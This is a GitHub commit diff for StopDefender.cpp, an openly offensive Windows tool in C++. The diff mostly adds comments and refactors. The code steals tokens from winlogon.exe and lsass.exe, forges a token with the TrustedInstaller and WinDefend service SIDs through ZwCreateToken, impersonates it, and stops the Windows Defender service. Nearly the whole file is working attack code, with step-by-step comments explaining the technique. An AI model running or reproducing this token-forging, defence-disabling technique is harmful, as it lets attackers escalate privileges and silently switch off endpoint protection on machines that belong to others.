Skip to content

Commit a840cc6

Browse files
committed
Code comments, added more defender services
1 parent 2097052 commit a840cc6

6 files changed

Lines changed: 219 additions & 204 deletions

File tree

StopDefender/StopDefender.cpp

Lines changed: 68 additions & 204 deletions
Original file line numberDiff line numberDiff line change
@@ -1,165 +1,51 @@
1+
/*MIT License
2+
3+
Copyright(c) 2022 lab52.io
4+
5+
Permission is hereby granted, free of charge, to any person obtaining a copy
6+
of this softwareand associated documentation files(the "Software"), to deal
7+
in the Software without restriction, including without limitation the rights
8+
to use, copy, modify, merge, publish, distribute, sublicense, and /or sell
9+
copies of the Software, and to permit persons to whom the Software is
10+
furnished to do so, subject to the following conditions :
11+
12+
The above copyright noticeand this permission notice shall be included in all
13+
copies or substantial portions of the Software.
14+
15+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE
18+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21+
SOFTWARE.
22+
*/
23+
124
#include "stdafx.h"
225
#include <windows.h>
326
#include <iostream>
427
#include <cstdio>
528
#include <tlhelp32.h>
629
#include <Lmcons.h>
730
#include <tchar.h>
8-
#include "ntdll.h"
931
#include <sddl.h>
32+
#include "ntdll.h"
33+
#include "util.h"
1034

11-
BOOL SetPrivilege(
12-
HANDLE hToken, // access token handle
13-
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
14-
BOOL bEnablePrivilege // to enable or disable privilege
15-
)
16-
{
17-
TOKEN_PRIVILEGES tp;
18-
LUID luid;
19-
20-
if (!LookupPrivilegeValue(
21-
NULL, // lookup privilege on local system
22-
lpszPrivilege, // privilege to lookup
23-
&luid)) // receives LUID of privilege
24-
{
25-
_tprintf(TEXT("[-] LookupPrivilegeValue error: %u\n"), GetLastError());
26-
return FALSE;
27-
}
28-
29-
tp.PrivilegeCount = 1;
30-
tp.Privileges[0].Luid = luid;
31-
if (bEnablePrivilege)
32-
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
33-
else
34-
tp.Privileges[0].Attributes = 0;
35-
36-
// Enable the privilege or disable all privileges.
37-
38-
if (!AdjustTokenPrivileges(
39-
hToken,
40-
FALSE,
41-
&tp,
42-
sizeof(TOKEN_PRIVILEGES),
43-
(PTOKEN_PRIVILEGES)NULL,
44-
(PDWORD)NULL))
45-
{
46-
_tprintf(TEXT("[-] AdjustTokenPrivileges error: %u\n"), GetLastError());
47-
return FALSE;
48-
}
49-
50-
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
51-
52-
{
53-
_tprintf(TEXT("[-] The token does not have the specified privilege. \n"));
54-
return FALSE;
55-
}
56-
57-
return TRUE;
58-
}
59-
60-
std::wstring get_usernameW()
61-
{
62-
TCHAR username[UNLEN + 1];
63-
DWORD username_len = UNLEN + 1;
64-
GetUserName(username, &username_len);
65-
std::wstring username_w(username);
66-
return username_w;
67-
}
68-
69-
std::string get_username()
70-
{
71-
TCHAR username[UNLEN + 1];
72-
DWORD username_len = UNLEN + 1;
73-
GetUserName(username, &username_len);
74-
std::wstring username_w(username);
75-
std::string username_s(username_w.begin(), username_w.end());
76-
return username_s;
77-
}
78-
79-
80-
BOOL StopDefenderService() {
81-
SERVICE_STATUS_PROCESS ssp;
82-
83-
SC_HANDLE schSCManager = OpenSCManager(
84-
NULL, // local computer
85-
NULL, // ServicesActive database
86-
SC_MANAGER_ALL_ACCESS); // full access rights
87-
88-
if (NULL == schSCManager)
89-
{
90-
_tprintf(TEXT("[-] OpenSCManager failed (%d)\n"), GetLastError());
91-
return FALSE;
92-
}
93-
94-
_tprintf(TEXT("[+] OpenSCManager success!\n"));
95-
96-
SC_HANDLE schService = OpenService(
97-
schSCManager, // SCM database
98-
L"WinDefend", // name of service
99-
SERVICE_STOP |
100-
SERVICE_QUERY_STATUS |
101-
SERVICE_ENUMERATE_DEPENDENTS);
102-
103-
if (schService == NULL)
104-
{
105-
_tprintf(TEXT("[-] OpenService failed (%d)\n"), GetLastError());
106-
CloseServiceHandle(schSCManager);
107-
return FALSE;
108-
}
109-
_tprintf(TEXT("[+] OpenService success!\n"));
110-
111-
//Stopping service
112-
113-
if (!ControlService(
114-
schService,
115-
SERVICE_CONTROL_STOP,
116-
(LPSERVICE_STATUS)&ssp))
117-
{
118-
_tprintf(TEXT("[-] ControlService failed (%d)\n", GetLastError()));
119-
CloseServiceHandle(schService);
120-
CloseServiceHandle(schSCManager);
121-
return FALSE;
122-
}
123-
124-
}
125-
126-
int GetProcessByNameW(PCTSTR name)
127-
{
128-
DWORD pid = 0;
129-
130-
// Create toolhelp snapshot.
131-
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
132-
PROCESSENTRY32 process;
133-
ZeroMemory(&process, sizeof(process));
134-
process.dwSize = sizeof(process);
135-
136-
// Walkthrough all processes.
137-
if (Process32First(snapshot, &process))
138-
{
139-
do
140-
{
141-
// Compare process.szExeFile based on format of name, i.e., trim file path
142-
// trim .exe if necessary, etc.
143-
if (wcscmp(process.szExeFile, name) == 0)
144-
{
145-
return process.th32ProcessID;
146-
}
147-
} while (Process32Next(snapshot, &process));
148-
}
149-
150-
CloseHandle(snapshot);
151-
152-
return NULL;
153-
}
154-
155-
BOOL ImpersonateProcessTokenByNameW(PCTSTR pname, PHANDLE retHandle) {
35+
/// <summary>
36+
/// Opens a user provided process by name and steals token for impersonation
37+
/// </summary>
38+
/// <param name="pname">Process Name</param>
39+
/// <param name="retHandle">Return Token Handle</param>
40+
/// <returns></returns>
41+
BOOL ImpersonateProcessTokenByName(PCTSTR pname, PHANDLE retHandle) {
15642

15743
// Initialize variables and structures
15844
HANDLE tokenHandle = NULL;
15945
HANDLE duplicateTokenHandle = NULL;
16046

16147
// Searching for Winlogon PID
162-
DWORD PID_TO_IMPERSONATE = GetProcessByNameW(pname);
48+
DWORD PID_TO_IMPERSONATE = GetProcessByName(pname);
16349

16450
if (PID_TO_IMPERSONATE == NULL) {
16551
_tprintf(TEXT("[-] %s process not found\n"), pname);
@@ -204,7 +90,7 @@ BOOL ImpersonateProcessTokenByNameW(PCTSTR pname, PHANDLE retHandle) {
20490
if (GetLastError() == NULL)
20591
{
20692
_tprintf(TEXT("[+] %s ImpersonatedLoggedOnUser() success!\n"), pname);
207-
_tprintf(TEXT("[+] %s Current user is: %s\n"), pname, (get_usernameW()).c_str());
93+
_tprintf(TEXT("[+] %s Current user is: %s\n"), pname, (get_username()).c_str());
20894
}
20995
else
21096
{
@@ -218,11 +104,17 @@ BOOL ImpersonateProcessTokenByNameW(PCTSTR pname, PHANDLE retHandle) {
218104
CloseHandle(processHandle);
219105

220106
// Print whoami to compare to thread later
221-
_tprintf(TEXT("[+] Current user is: %s\n"), (get_usernameW()).c_str());
107+
_tprintf(TEXT("[+] Current user is: %s\n"), (get_username()).c_str());
222108

223109
return TRUE;
224110
}
225111

112+
/// <summary>
113+
/// Gets infomration from a provided token
114+
/// </summary>
115+
/// <param name="current_token">Token handle</param>
116+
/// <param name="tic">Token information structure</param>
117+
/// <returns></returns>
226118
PVOID GetInfoFromToken(HANDLE current_token, TOKEN_INFORMATION_CLASS tic)
227119
{
228120
DWORD n;
@@ -241,8 +133,13 @@ PVOID GetInfoFromToken(HANDLE current_token, TOKEN_INFORMATION_CLASS tic)
241133
return 0;
242134
}
243135

244-
245-
HANDLE CreateTokenWinDefend(HANDLE base_token, BOOL isPrimary)
136+
/// <summary>
137+
/// Forge a new token with TrustedInstaller & Windefend service accounts using
138+
/// a base token
139+
/// </summary>
140+
/// <param name="base_token">Current token</param>
141+
/// <returns></returns>
142+
HANDLE CreateTokenWinDefend(HANDLE base_token)
246143
{
247144
LUID luid;
248145
PLUID pluidAuth;
@@ -251,7 +148,7 @@ HANDLE CreateTokenWinDefend(HANDLE base_token, BOOL isPrimary)
251148
PLARGE_INTEGER pli;
252149
DWORD sessionId;
253150
HANDLE elevated_token;
254-
//PTOKEN_STATISTICS stats;
151+
255152
PTOKEN_PRIVILEGES privileges;
256153
PTOKEN_OWNER owner;
257154
PTOKEN_PRIMARY_GROUP primary_group;
@@ -266,35 +163,17 @@ HANDLE CreateTokenWinDefend(HANDLE base_token, BOOL isPrimary)
266163
TOKEN_SOURCE sourceToken = { { '!', '!', '!', '!', '!', '!', '!', '!' }, { 0, 0 } };
267164
PSID lpSidOwner = NULL;
268165
LUID authid = SYSTEM_LUID;
269-
_ZwCreateToken ZwCreateToken;
270-
271-
/*
272-
const SID6 TrustedInstallerSid = {
273-
{
274-
SID_REVISION, SECURITY_SERVICE_ID_RID_COUNT, SECURITY_NT_AUTHORITY, { SECURITY_SERVICE_ID_BASE_RID }
275-
},
276-
{
277-
SECURITY_TRUSTED_INSTALLER_RID1,
278-
SECURITY_TRUSTED_INSTALLER_RID2,
279-
SECURITY_TRUSTED_INSTALLER_RID3,
280-
SECURITY_TRUSTED_INSTALLER_RID4,
281-
SECURITY_TRUSTED_INSTALLER_RID5,
282-
}
283-
};
284-
*/
285-
//SID_BUILTIN TkSidLocalServiceGroup = { 1, 2, { 0, 0, 0, 0, 0, 5 }, { 32, SECURITY_SERVICE_ID_BASE_RID } };
286-
287166
PSID group1, group2;
167+
288168
// TrustedInstaller SID
289169
BOOL t = ConvertStringSidToSid(TEXT("S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464"), &group2);
290170

291171
//Windefend SID
292172
t = ConvertStringSidToSid(TEXT("S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736"), &group1);
293173

294-
295-
ZwCreateToken = (_ZwCreateToken)GetProcAddress(LoadLibraryA("ntdll"), "ZwCreateToken");
174+
_ZwCreateToken ZwCreateToken = (_ZwCreateToken)GetProcAddress(LoadLibraryA("ntdll"), "ZwCreateToken");
296175
if (ZwCreateToken == NULL) {
297-
printf("[-] Failed to load ZwCreateToken: %d\n", GetLastError());
176+
_tprintf(TEXT("[-] Failed to load ZwCreateToken: %d\n"), GetLastError());
298177
return NULL;
299178
}
300179

@@ -312,11 +191,8 @@ HANDLE CreateTokenWinDefend(HANDLE base_token, BOOL isPrimary)
312191
sourceToken.SourceIdentifier.LowPart = luid.LowPart;
313192
sourceToken.SourceIdentifier.HighPart = luid.HighPart;
314193

315-
//stats = (PTOKEN_STATISTICS)GetInfoFromToken(base_token, TokenStatistics);
316-
//privileges = (PTOKEN_PRIVILEGES)LocalAlloc(LMEM_FIXED, sizeof(TOKEN_PRIVILEGES) + (sizeof(LUID_AND_ATTRIBUTES) * 2));
317194
privileges = (PTOKEN_PRIVILEGES)GetInfoFromToken(base_token, TokenPrivileges);
318195

319-
//get_system_privileges(privileges);
320196
groups = (PTOKEN_GROUPS)GetInfoFromToken(base_token, TokenGroups);
321197
primary_group = (PTOKEN_PRIMARY_GROUP)GetInfoFromToken(base_token, TokenPrimaryGroup);
322198
default_dacl = (PTOKEN_DEFAULT_DACL)GetInfoFromToken(base_token, TokenDefaultDacl);
@@ -364,74 +240,62 @@ HANDLE CreateTokenWinDefend(HANDLE base_token, BOOL isPrimary)
364240
owner,
365241
primary_group,
366242
default_dacl,
367-
&sourceToken // creates an anonymous impersonation token
243+
&sourceToken
368244
);
369245

370246
if (ntStatus == STATUS_SUCCESS)
371247
return elevated_token;
372248
else
373-
printf("[-] Failed to create new token: %d %08x\n", GetLastError(), ntStatus);
249+
_tprintf(TEXT("[-] Failed to create new token: %d %08x\n"), GetLastError(), ntStatus);
374250

375251
FreeSid(lpSidOwner);
376-
//if (stats) LocalFree(stats);
377252
if (groups) LocalFree(groups);
378253
if (privileges) LocalFree(privileges);
254+
379255
return NULL;
380256
}
381257

382258

383259
int __cdecl _tmain(int argc, TCHAR* argv[]) {
384260

385-
386-
387-
388-
389-
// Add SE debug privilege
390-
/*
391-
HANDLE currentTokenHandle = NULL;
392-
BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
393-
if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
394-
{
395-
_tprintf(L"[+] SeDebugPrivilege enabled!\n");
396-
}
397-
*/
398-
399-
400-
261+
HANDLE impersonatedTokenHandle = NULL;
401262
// Print whoami to compare to thread later
402-
_tprintf(TEXT("[+] Current user is: %s\n"), (get_usernameW()).c_str());
263+
_tprintf(TEXT("[+] Current user is: %s\n"), (get_username()).c_str());
403264

404-
HANDLE impersonatedTokenHandle = NULL;
405-
if (!ImpersonateProcessTokenByNameW(TEXT("winlogon.exe"), &impersonatedTokenHandle))
265+
//Step 1: Get System token and impersonate in current thread avoiding SeDebugPriv
266+
if (!ImpersonateProcessTokenByName(TEXT("winlogon.exe"), &impersonatedTokenHandle))
406267
exit(1);
407268

408-
if (!ImpersonateProcessTokenByNameW(TEXT("lsass.exe"), &impersonatedTokenHandle))
269+
//Step 2: Get a token with SeCreateTokenPriv enabled Ex. Lsass.exe have it
270+
if (!ImpersonateProcessTokenByName(TEXT("lsass.exe"), &impersonatedTokenHandle))
409271
exit(1);
410272

411-
412-
impersonatedTokenHandle = CreateTokenWinDefend(impersonatedTokenHandle, FALSE);
273+
//Step3: Forge a new token with Windefend and TrustedInstaller service accounts
274+
impersonatedTokenHandle = CreateTokenWinDefend(impersonatedTokenHandle);
413275

414276
if (impersonatedTokenHandle == NULL)
415277
exit(1);
416278

417279
_tprintf(TEXT("[+] CreateTokenWinDefend success!\n"));
418280

281+
//Step 3: Impersonate with forged token
419282
if (ImpersonateLoggedOnUser(impersonatedTokenHandle))
420283
{
421284
_tprintf(TEXT("[+] ImpersonatedLoggedOnUser() success!\n"));
422-
_tprintf(TEXT("[+] Current user is: %s\n"), (get_usernameW()).c_str());
285+
_tprintf(TEXT("[+] Current user is: %s\n"), (get_username()).c_str());
423286
}
424287
else
425288
{
426289
_tprintf(TEXT("[-] ImpersonatedLoggedOnUser() Error: %i\n"), GetLastError());
427290
return FALSE;
428291
}
429292

293+
//Step 4: Finally Stop the defender service
430294
if (StopDefenderService()) {
431-
_tprintf(TEXT("[+] StopDefenderService() success!\n"));
295+
_tprintf(TEXT("[+] StopDefenderServices success!\n"));
432296
}
433297
else {
434-
_tprintf(TEXT("[-] StopDefenderService() Error: %i\n"), GetLastError());
298+
_tprintf(TEXT("[-] StopDefenderServices Error: %i\n"), GetLastError());
435299
}
436300

437301
return 0;

0 commit comments

Comments
 (0)